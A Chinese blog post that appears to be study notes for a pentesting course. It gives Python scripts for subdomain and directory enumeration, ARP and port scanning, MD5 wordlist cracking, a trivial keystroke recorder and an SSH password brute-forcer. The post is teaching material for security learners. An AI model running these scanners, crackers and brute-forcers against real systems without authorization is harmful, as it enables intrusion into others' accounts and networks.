基于渗透的python
Python for Pentesters
还记得开始学习编程的C,虽然淡忘,但思想仍在。
子域名枚举
request库
import pyfiglet
import requests
import sys
ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)
dir_path = ""
sub_list = open(dir_path, "r").read()
subdoms = sub_list.splitlines()
for sub in subdoms:
sub_domains = f"http://{sub}.{sys.argv[1]}"
try:
requests.get(sub_domains)
except requests.ConnectionError:
pass
else:
print("Valid domain: ",sub_domains)
目录枚举
还是requests
import requests
import sys
import pyfiglet
ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)
path = ''
sub_list = open(path,'r').read()
directories = sub_list.splitlines()
for dir in directories:
dir_enum = f"http://{sys.argv[1]}/{dir}"
r = requests.get(dir_enum)
if r.status_code==404:
pass
else:
print("Valid directory:" ,dir_enum)
网络扫描
from scapy.all import *
import pyfiglet
ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)
interface = "eth0"
ip_range = "10.10.X.X/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range)
ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)
for send,receive in ans:
print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))
端口扫描
socket编程https://www.cnblogs.com/-Lucky-/p/17039661.html
import sys
import socket
import pyfiglet
ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)
ip = sys.argv[1]
open_ports =[]
ports = range(1, 65535)
def probe_port(ip, port):
result = 1
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)
print(f"Open Ports:{open_ports}")
文件下载器
Linux 系统上的 Wget 或 Windows 上的 Certutil 是下载文件的有用工具。
import requests
url = 'https://assets.tryhackme.com/img/THMlogo.png'
r = requests.get(url, allow_redirects=True)
open('THMlogo.png', 'wb').write(r.content)
import requests
url = 'https://download.sysinternals.com/files/PSTools.zip'
r = requests.get(url, allow_redirects=True)
open('PSTools.zip', 'wb').write(r.content)
hash破解
tools:john,hashcat
import hashlib
import pyfiglet
ascii_banner = pyfiglet.figlet_format("ABC-L")
print(ascii_banner)
wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))
with open(wordlist_location, 'r') as file:
for line in file.readlines():
print(line)
hash_ob = hashlib.md5(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)
键盘记录器
import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)
ssh暴力破解
tools:hydra
import paramiko
import sys
import os
target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(password)
if response == 0:
print('password found: '+ password)
exit(0)
elif response == 1:
print('no luck')
except Exception as e:
print(e)
pass
input_file.close()
基于渗透的python的更多相关文章
- 基于SQL和PYTHON的数据库数据查询select语句
#xiaodeng#python3#基于SQL和PYTHON的数据库数据查询语句import pymysql #1.基本用法cur.execute("select * from biao&q ...
- DIY一个基于树莓派和Python的无人机视觉跟踪系统
DIY一个基于树莓派和Python的无人机视觉跟踪系统 无人机通过图传将航拍到的图像存储并实时传送回地面站差点儿已经是标配.假设想来点高级的--在无人机上直接处理拍摄的图像并实现自己主动控制要怎么实现 ...
- 基于七牛Python SDK写的一个批量下载脚本
前言 上一篇基于七牛Python SDK写的一个同步脚本所写的脚本只支持上传,不支持文件下载. 虽然这个需求不太强烈,但有可能有人(在备份.迁移时)需要,而官方有没提供对应的工具,所以我就把这个功能也 ...
- 配置基于Vim的Python开发环境
配置基于Vim的Python开发环境插件 Vundle YouCompleteMe NERDTree Vim-Jinja2-Syntax set nocompatible " be iMpr ...
- 基于Appium、Python的自动化测试
基于Appium.Python的自动化测试环境部署和实践 第一章 导言 1.1 编制目的 该文档为选用Appium作为移动设备原生(Native).混合(Hybrid).移动Web(Mobile ...
- 如何在Windows系统上基于Sublime搭建Python的编译环境
刚刚接触到Python,直接在计算机上编译时不能正确的运行,所以将一些有关编译环境调试的知识总结了一下. 环境搭建: Python在 windows系统上编译的时候可能会出现一些编译无法运行的情况,我 ...
- 基于Pycharm的Python开发环境配置
基于Pycharm的Python开发环境配置 编辑于2020-11-18 Python安装 双击桌面的Python3.x安装包. 勾选Add to path. 方便起见,选择Install now.下 ...
- 基于Selenium2与Python自动化测试环境搭建
简介: selenium 是一个web的自动化测试工具,不少学习功能自动化的同学开始首选selenium ,相因为它相比QTP有诸多有点: * 免费,也不用再为破解QTP而大伤脑筋 * 小巧,对于 ...
- 基于esky实现python应用的自动升级
一.esky介绍 Esky is an auto-update framework for frozen Python applications. It provides a simple API t ...
- 基于ELK和Python搭建简单的监控告警系统
Reference: https://www.jianshu.com/p/67e358dc065d 在做完支付系统后,我搭建了两套监控系统. 一套是点评的CAT,主要用于代码级的实时统计和历史统计以及 ...
随机推荐
- java多线程--5 同步方法和同步块synchronized
java多线程--5 同步方法和同步块synchronized 同步方法和同步块 同步方法:关键字synchronized,包括synchronized方法和synchronized块 public ...
- Python ArcPy批量掩膜、重采样大量遥感影像
本文介绍基于Python中ArcPy模块,对大量栅格遥感影像文件进行批量掩膜与批量重采样的操作. 首先,我们来明确一下本文的具体需求.现有一个存储有大量.tif格式遥感影像的文件夹:且其中除了 ...
- Mybatis分页插件PageHelper的配置及使用方法
尊重人家的知识成果 推荐 该作者总结的不错! --->> --->> @author 扎心了老铁 Mybatis分页插件PageHelper的配置及使用方法
- hadoop 第二期
Hive 启动hive 使用命令`hive` 输入命令之后要有一个 ; 结尾!!!!!!! DDL命令 1.创建数据表 create table lxl( num int, name string, ...
- C#中抽象方法与虚方法的区别详解及示例
1. 抽象方法与虚方法的区别 先说两者最大的区别:抽象方法是需要子类去实现的.虚方法是已经实现了的,可以被子类覆盖,也可以不覆盖,取决于需求.因为抽象类无法实例化,所以抽象方法没有办法被调用,也就 ...
- mongodb安装及操作
1.回顾 node服务器的写法 服务器 前后端分离 前后端不分离 express express生成器 ejs模版语法:变量.条件判断.循环渲染.引入 2.mongodb介绍 MongoDB 是一个基 ...
- 【FAQ】关于华为推送服务因营销消息频次管控导致服务通讯类消息下发失败的解决方案
一. 问题描述 使用华为推送服务下发IM消息时,下发消息请求成功且code码为80000000,但是手机总是收不到消息: 在华为推送自助分析(Beta)平台查看发现,消息发送触发了频控. 二. 问题原 ...
- 搭建CTF动态靶场
前言 本文借鉴文章:https://www.yuque.com/dengfenglai-esbap/kb/mc4k41?#xOxNG 在此基础上修改了一点(照着原来的做没成功),感谢这位师傅给的资源. ...
- pdf 转 word
目录 pdf 转 word 一.思路 二.软件安装下载 1. windows安装 2 certos7版本安装 3. Debian 版本安装 4. 安装字体 三.实现PDF转word文档 四.制作自己的 ...
- java-io FileInputStream文件拷贝
1.编写代码 main方法: public static void main(String[] args) throws IOException { String pathFileUrl =" ...